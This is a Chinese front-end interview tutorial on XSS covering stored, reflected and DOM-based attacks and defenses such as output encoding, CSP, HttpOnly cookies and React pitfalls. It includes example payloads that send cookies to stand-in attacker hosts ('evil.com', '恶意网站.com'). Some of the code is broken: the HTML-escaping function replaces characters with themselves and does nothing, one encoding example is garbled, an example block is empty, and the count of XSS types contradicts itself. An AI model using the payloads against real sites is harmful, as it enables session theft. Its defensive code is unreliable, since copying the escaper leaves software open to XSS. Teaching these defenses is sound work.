文章中英模式

布鲁斯前端面试题目 - XSS跨站脚本攻击详解

深入解析XSS攻击原理、种类与防御机制。了解如何防范存储型XSS、反射型XSS和DOM XSS攻击，保护Web应用安全。

文章中英模式

懒得看文章？那就来看视频吧

XSS攻击是什么？

XSS（跨站脚本攻击）就像是有人在网站上贴了一张「写着代码的便利贴」，当其他人浏览这个网站时，便利贴上的程序会自动执行，可能窃取你的资料或冒充你做事。

XSS攻击的简单原理：

  攻击者                         受害者
    |                               |
    |-- 注入恶意代码到网站 -->     |
    |                               |-- 浏览含有恶意代码的网页
    |<-- 窃取资料/执行未授权操作 --   |

与CSRF不同，XSS不仅能执行操作，还能读取页面内容和窃取资料。本质上是代码被注入到网页中，让攻击者可以存取用户的Cookie、LocalStorage等敏感信息。

⚠️ XSS攻击可以做什么？

1. 窃取Cookie模拟用户登录
2. 获取敏感信息
3. 修改页面内容进行钓鱼
4. 记录用户输入（如密码）
5. 偷偷执行操作（如转账）

简单的XSS攻击示例：

// 评论框输入
<script>
  fetch('https://恶意网站.com?data='+document.cookie)
</script>

// 搜索框输入
<img src="x" onerror="alert('已被攻击')">

XSS攻击的类型

XSS攻击主要分为二种类型，每种类型的攻击向量和危害程度各不相同：

1. 存储型XSS (后端)

恶意代码被永久存储在目标服务器的数据库中

// 用户评论

危险度：高（影响所有访问页面的用户）

2. 反射型XSS (后端)

恶意代码包含在URL中，服务器将其反射回浏览器

// 恶意链接

https://example.com/search?q=<script>alert('XSS')</script>

危险度：中（需诱导用户点击特定URL）

XSS攻击流程示例：

  存储型XSS:
  攻击者 ------> 网站服务器 ------> 受害用户
     |              |                 |
  提交恶意代码    保存到数据库    加载页面执行恶意代码
                                      |
                                  窃取Cookie/执行操作

  反射型XSS:
  攻击者 ------> 受害用户 ------> 网站服务器 ------> 受害用户
     |              |                |                 |
  制作恶意URL    点击恶意URL    返回包含恶意代码的页面  执行恶意代码

XSS攻击实例

// 存储型XSS - 论坛评论
const userComment = '<img src="x" onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">';
// 网站未过滤直接存入数据库，所有用户访问页面时都会执行恶意代码

// 反射型XSS - 搜索功能
// https://example.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
// 服务器直接将搜索词反射到页面：
document.write('搜索结果: ' + urlParams.get('q'));

// DOM型XSS - 客户端渲染
// https://example.com/page#<img src=x onerror=alert(1)>
// 客户端JavaScript:
document.getElementById('content').innerHTML = location.hash.substring(1);

如何防范XSS攻击

防范XSS攻击需要多层防御策略，从输入验证到输出编码，再到安全策略的实施：

1. 输入验证与过滤

1. 验证数据类型、长度和格式
2. 过滤特殊字符和HTML标签
3. 使用白名单而非黑名单

const sanitizeInput = (input) => input.replace(/<[^>]*>/g, '');

2. 输出编码

1. HTML编码（< 变成 <）
2. JavaScript编码
3. URL编码
4. 根据上下文选择编码方式

const safeOutput = escapeHtml(userInput);

3. 内容安全策略 (CSP)

1. 限制可执行脚本的来源
2. 禁止内联JavaScript
3. 限制eval()等危险函数

Content-Security-Policy: script-src 'self'

4. 其他安全措施

1. 使用HttpOnly Cookie防止脚本访问
2. 实施X-XSS-Protection头部
3. 使用现代框架的安全特性
4. 定期安全审计和渗透测试

Set-Cookie: sessionId=abc123; HttpOnly

React等现代框架的XSS防护

React等现代框架默认会对变量进行HTML转义，但仍有风险点需注意：

// 安全 - React自动转义
return <div>{userInput}</div>;

// 危险 - 绕过React的保护
return <div dangerouslySetInnerHTML={{ __html: userInput }} />;

// 危险 - URL注入
return <a href={userInput}>点击</a>;  // 如果userInput是"javascript:alert(1)"

// 安全实践
// 1. 避免使用dangerouslySetInnerHTML
// 2. URL前缀检查
const isSafeUrl = url => url.startsWith('http://') || url.startsWith('https://');
return <a href={isSafeUrl(userInput) ? userInput : '#'}>点击</a>;

🔥 常见面试题目

(一) 什么是XSS攻击？如何有效防范？

解答：XSS（跨站脚本攻击）是一种允许攻击者在受害者浏览器中执行恶意JavaScript代码的安全漏洞。攻击者通过在网站注入恶意代码，当其他用户访问该页面时，恶意代码会在用户的浏览器中执行，可能窃取Cookie、会话令牌或其他敏感信息。

XSS攻击的三种主要类型：

存储型XSS：恶意代码被永久存储在目标服务器上（如数据库中的评论）
反射型XSS：恶意代码包含在URL中，服务器将其反射回浏览器
DOM型XSS：漏洞存在于客户端代码，不涉及服务器处理

有效防范XSS攻击的方法包括：

输入验证与过滤：验证所有用户输入，过滤或转义特殊字符
const cleanInput = userInput.replace(/[<>]/g, '');
输出编码：根据上下文对输出进行适当编码（HTML、JavaScript、URL等）
const safeHtml = userInput.replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>');
内容安全策略(CSP)：限制可执行脚本的来源，禁止内联JavaScript
Content-Security-Policy: script-src 'self' https://trusted-cdn.com
使用HttpOnly Cookie：防止JavaScript访问敏感Cookie
Set-Cookie: sessionId=abc123; HttpOnly; Secure